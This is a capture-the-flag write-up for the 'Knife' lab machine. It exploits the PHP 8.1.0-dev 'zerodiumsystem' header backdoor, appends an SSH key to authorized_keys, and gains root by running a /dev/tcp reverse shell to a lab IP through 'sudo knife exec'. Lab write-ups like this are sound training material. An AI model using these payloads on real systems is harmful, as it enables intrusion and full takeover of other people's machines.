Knife Write-Up


Contents

Intro


I'll be honest, this box was so easy that I actually found it quite hard! The foothold is so easy that I over estimated it before going right back to the basics and finding the vulnerability. Defiantly a lesson to be learned here: If the easy box is rated "Piece Of Cake" and "Very Easy", don't over think it and just go for the very basics... Like googling for PHP vulnerabilities!

Foothold


As per usual let's start with adding this box into /etc/hosts and running an nmap scan:

felixm@blackbear:~$ nmap -sV -sC 10.10.10.242

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache/2.4.41 (Ubuntu)
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea

The only service appears to be Apache on port 80:

This seems to be a modern landing page for a medical related website. Note that there are actually no links on the page, those "links" in the top right actually don't do anything. Let's try and enumerate the software this page is built with. To do this I use the Firefox plugin Wappalyzer.

The PHP version 8.1.0 stood out to me as it seemed higher than the current released version. Checking the official PHP website can can observe that the current official release is 8.0.7. Searching PHP 8.1.0 comes up with information about a backdoor placed in the PHP 8.1.0-dev release (for futher reading see this PHP news post).

Here is a great Git repository that explains how it works. TLDR: the backdoor looked for "User-Agentt": "zerodiumsystem('"RCE PAYLOAD HERE"');" as a header field (Note that Zerodium (the exploit aggregator) has stated this had nothing to do with the backdoor). Interestingly the returned data is printed to screen on the actual webpage.

To actually exploit this backdoor you can of course, use the script in the Git Repository linked above, create your own script, or simply just exploit this within the browser itself.

To exploit this in the browser open Developer Tools and go to the Network tab. Right click the GET request for index.php and click Edit & Resend. Then add the backdoor header field:

To see the response you can click the modified GET request that was just sent and view its raw response and you should see the output on line 1:

User


When I tried to just put a reverse shell (Tried bash and Netcat) straight into this Zerodiumsystem payload I got no response so I decided to just drop my SSH public key into the users .ssh/Authorised_keys file using this: echo "PUT PUBLIC SSH KEY HERE" >> /home/james/.ssh/authorised_keys then attempting to SSH.

felixm@blackbear:~$ ssh james@knife.htb
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-72-generic x86_64)
    
james@knife:~$ whoami && id
james
uid=1000(james) gid=1000(james) groups=1000(james)

Root


Running sudo -l shows (root) NOPASSWD: /usr/bin/knife meaning we can run a binary called "knife" as root without a password. Looking into this file we can see the following:

#!/opt/chef-workstation/embedded/bin/ruby --disable-gems
#--APP_BUNDLER_BINSTUB_FORMAT_VERSION=1--
require "rubygems"

begin
    # this works around rubygems/rubygems#2196 and can be removed in rubygems > 2.7.6
    require "rubygems/bundler_version_finder"
rescue LoadError
    # probably means rubygems is too old or too new to have this class, and we don't care
end

# avoid appbundling if we are definitely running within a Bundler bundle.
# most likely the check for defined?(Bundler) is enough since we don't require
# bundler above, but just for paranoia's sake also we test to see if Bundler is
# really doing its thing or not.
unless defined?(Bundler) && Bundler.instance_variable_defined?("@load")
    ENV["GEM_HOME"] = ENV["GEM_PATH"] = nil unless ENV["APPBUNDLER_ALLOW_RVM"] == "true"
    ::Gem.clear_paths
    gem "activesupport", "= 5.2.4.5"
    gem "addressable", "= 2.7.0"
    gem "appbundler", "= 0.13.2"
    {MANY MORE IMPORTS HERE}
    gem "wmi-lite", "= 1.0.5"
    gem "yard", "= 0.9.26"
    gem "chef", "= 16.10.8"
    gem "bundler" # force activation of bundler to avoid unresolved specs if there are multiple bundler versions
    spec = Gem::Specification.find_by_name("chef", "= 16.10.8")
else
    spec = Gem::Specification.find_by_name("chef")
end

unless Gem::Specification.unresolved_deps.empty?
    $stderr.puts "APPBUNDLER WARNING: unresolved deps are CRITICAL performance bug, this MUST be fixed"
    Gem::Specification.reset
end

bin_file = spec.bin_file("knife")

Kernel.load(bin_file)

At first glance this appears to be some kind of Ruby file. Looking at the first line: the interpreter-directive seems to be pointing to a program in /opt called chef-workstation. Now I genuinely searched for about 10 minutes... I went on the Chef Docs and the Learn Chef website, still have no idea what the fuck it is. But thankfully searching "Ruby Chef Knife" will bring you to this docs page where we can see an interesting sub command for knife:

knife exec:

Use the `knife exec` subcommand to execute Ruby scripts in the context of a fully configured Chef Infra Client. 
Use this subcommand to run scripts that will only access Chef Infra Server one time (or otherwise very infrequently) or any time that an operation does not warrant full usage of the knife subcommand library.

This seems to suggest that we can just execute a ruby script through knife, which in turn is executed by root. With this information we can create a .rb file in the /tmp directory with a reverse shell and see if it calls back with a root shell:

#!/usr/bin/env ruby

exec "/bin/bash -c '/bin/bash >& /dev/tcp/10.10.14.18/4444 0>&1'"       

Then execute that file with sudo knife exec /tmp/exploit.rb and once your shell returns you should be:

root@knife:~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)

Notes


Right, normally I post tips or things I've learned here but seriously. Imagine knowing only that Ruby is a programming language and nothing else... Go to chef.io or docs.chef.io and just tell me what it is. It cost me so much time just attempting to figure out what it actually was...